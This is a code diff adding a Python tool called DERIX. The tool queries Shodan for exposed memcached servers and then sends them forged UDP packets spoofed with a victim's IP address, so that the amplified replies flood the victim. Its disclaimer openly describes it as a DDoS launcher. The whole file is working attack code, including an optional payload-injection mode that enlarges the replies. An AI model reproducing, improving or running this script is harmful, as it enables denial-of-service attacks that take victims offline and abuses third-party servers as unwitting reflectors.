|
| 1 | +#-- coding: utf8 -- |
| 2 | +#!/usr/bin/env python3 |
| 3 | +import sys, os, time, shodan |
| 4 | +from pathlib import Path |
| 5 | +from scapy.all import * |
| 6 | +from contextlib import contextmanager, redirect_stdout |
| 7 | + |
| 8 | +starttime = time.time() |
| 9 | + |
| 10 | +@contextmanager |
| 11 | +def suppress_stdout(): |
| 12 | + with open(os.devnull, "w") as devnull: |
| 13 | + with redirect_stdout(devnull): |
| 14 | + yield |
| 15 | + |
| 16 | +class color: |
| 17 | + HEADER = '\033[0m' |
| 18 | + |
| 19 | +keys = Path("./api.txt") |
| 20 | +logo = color.HEADER + ''' |
| 21 | + DERIX |
| 22 | + Author: Malwareman |
| 23 | +####################################### DISCLAIMER ######################################## |
| 24 | +| DERIX is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable | |
| 25 | +| memcached servers. It then allows you to use the same servers to launch widespread | |
| 26 | +| distributed denial of service attacks by forging UDP packets sourced to your victim. | |
| 27 | +| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply | |
| 28 | +| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. | |
| 29 | +| I am NOT responsible for any damages caused or any crimes committed by using this tool. | |
| 30 | +########################################################################################### |
| 31 | +
|
| 32 | +''' |
| 33 | +print(logo) |
| 34 | + |
| 35 | +if keys.is_file(): |
| 36 | + with open('api.txt', 'r') as file: |
| 37 | + SHODAN_API_KEY=file.readline().rstrip('\n') |
| 38 | +else: |
| 39 | + file = open('api.txt', 'w') |
| 40 | + SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ') |
| 41 | + file.write(SHODAN_API_KEY) |
| 42 | + print('[~] File written: ./api.txt') |
| 43 | + file.close() |
| 44 | + |
| 45 | +while True: |
| 46 | + api = shodan.Shodan(SHODAN_API_KEY) |
| 47 | + print('') |
| 48 | + try: |
| 49 | + myresults = Path("./bots.txt") |
| 50 | + query = input("[*] Use Shodan API to search for affected Memcached servers? : ").lower() |
| 51 | + if query.startswith('y'): |
| 52 | + print('') |
| 53 | + print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) |
| 54 | + results = api.search('product:"Memcached" port:11211') |
| 55 | + print('[] API Key Authentication: SUCCESS') |
| 56 | + print('[~] Number of bots: %s' % results['total']) |
| 57 | + print('') |
| 58 | + saveresult = input("[*] Save results for later usage? : ").lower() |
| 59 | + if saveresult.startswith('y'): |
| 60 | + file2 = open('bots.txt', 'a') |
| 61 | + for result in results['matches']: |
| 62 | + file2.write(result['ip_str'] + "\n") |
| 63 | + print('[~] File written: ./bots.txt') |
| 64 | + print('') |
| 65 | + file2.close() |
| 66 | + saveme = input('[*] Would you like to use locally stored Shodan data? : ').lower() |
| 67 | + if myresults.is_file(): |
| 68 | + if saveme.startswith('y'): |
| 69 | + with open('bots.txt') as my_file: |
| 70 | + ip_array = [line.rstrip() for line in my_file] |
| 71 | + else: |
| 72 | + print('') |
| 73 | + print('[] Error: No bots stored locally, bots.txt file not found!') |
| 74 | + print('') |
| 75 | + if saveme.startswith('y') or query.startswith('y'): |
| 76 | + print('') |
| 77 | + target = input("[>] Enter target IP address: ") |
| 78 | + targetport = input("[>] Enter target port number (Default 80): ") or "80" |
| 79 | + power = int(input("[>] Enter preferred power (Default 1): ") or "1") |
| 80 | + print('') |
| 81 | + data = input("[+] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" |
| 82 | + if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"): |
| 83 | + dataset = "set injected 0 3600 ", len(data)+1, "\r\n", data, "\r\n get injected\r\n" |
| 84 | + setdata = ("\x00\x00\x00\x00\x00\x00\x00\x00set\x00injected\x000\x003600\x00%s\r\n%s\r\n" % (len(data)+1, data)) |
| 85 | + getdata = ("\x00\x00\x00\x00\x00\x00\x00\x00get\x00injected\r\n") |
| 86 | + print("[+] Payload transformed: ", dataset) |
| 87 | + print('') |
| 88 | + if query.startswith('y'): |
| 89 | + iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower() |
| 90 | + if iplist.startswith('y'): |
| 91 | + print('') |
| 92 | + counter= int(0) |
| 93 | + for result in results['matches']: |
| 94 | + host = api.host('%s' % result['ip_str']) |
| 95 | + counter=counter+1 |
| 96 | + print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) |
| 97 | + time.sleep(1.1 - ((time.time() - starttime) % 1.1)) |
| 98 | + if saveme.startswith('y'): |
| 99 | + iplistlocal = input('[*] Would you like to display all the bots stored locally? : ').lower() |
| 100 | + if iplistlocal.startswith('y'): |
| 101 | + print('') |
| 102 | + counter= int(0) |
| 103 | + for x in ip_array: |
| 104 | + host = api.host('%s' % x) |
| 105 | + counter=counter+1 |
| 106 | + print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) |
| 107 | + time.sleep(1.1 - ((time.time() - starttime) % 1.1)) |
| 108 | + print('') |
| 109 | + engage = input('[*] Ready to engage target %s? : ' % target).lower() |
| 110 | + if engage.startswith('y'): |
| 111 | + if saveme.startswith('y'): |
| 112 | + for i in ip_array: |
| 113 | + if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"): |
| 114 | + print('[+] Sending 2 forged synchronized payloads to: %s' % (i)) |
| 115 | + with suppress_stdout(): |
| 116 | + send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1) |
| 117 | + send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power) |
| 118 | + else: |
| 119 | + if power>1: |
| 120 | + print('[+] Sending %d forged UDP packets to: %s' % (power, i)) |
| 121 | + with suppress_stdout(): |
| 122 | + send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) |
| 123 | + elif power==1: |
| 124 | + print('[+] Sending 1 forged UDP packet to: %s' % i) |
| 125 | + with suppress_stdout(): |
| 126 | + send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) |
| 127 | + else: |
| 128 | + for result in results['matches']: |
| 129 | + if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"): |
| 130 | + print('[+] Sending 2 forged synchronized payloads to: %s' % (i)) |
| 131 | + with suppress_stdout(): |
| 132 | + send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1) |
| 133 | + send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power) |
| 134 | + else: |
| 135 | + if power>1: |
| 136 | + print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str'])) |
| 137 | + with suppress_stdout(): |
| 138 | + send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) |
| 139 | + elif power==1: |
| 140 | + print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str']) |
| 141 | + with suppress_stdout(): |
| 142 | + send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) |
| 143 | + print('') |
| 144 | + print('[*] Task complete! Exiting Platform. Have a wonderful day.') |
| 145 | + break |
| 146 | + else: |
| 147 | + print('') |
| 148 | + print('[] Error: %s not engaged!' % target) |
| 149 | + print('[~] Restarting Platform! Please wait.') |
| 150 | + print('') |
| 151 | + else: |
| 152 | + print('') |
| 153 | + print('[] Error: No bots stored locally or remotely on Shodan!') |
| 154 | + print('[~] Restarting Platform! Please wait.') |
| 155 | + print('') |
| 156 | + |
| 157 | + except shodan.APIError as e: |
| 158 | + print('[] Error: %s' % e) |
| 159 | + option = input('[*] Would you like to change API Key? : ').lower() |
| 160 | + if option.startswith('y'): |
| 161 | + file = open('api.txt', 'w') |
| 162 | + SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ') |
| 163 | + file.write(SHODAN_API_KEY) |
| 164 | + print('[~] File written: ./api.txt') |
| 165 | + file.close() |
| 166 | + print('[~] Restarting Platform! Please wait.') |
| 167 | + print('') |
| 168 | + else: |
| 169 | + print('') |
| 170 | + print('[*] Exiting Platform. Have a wonderful day.') |
| 171 | + break |
0 commit comments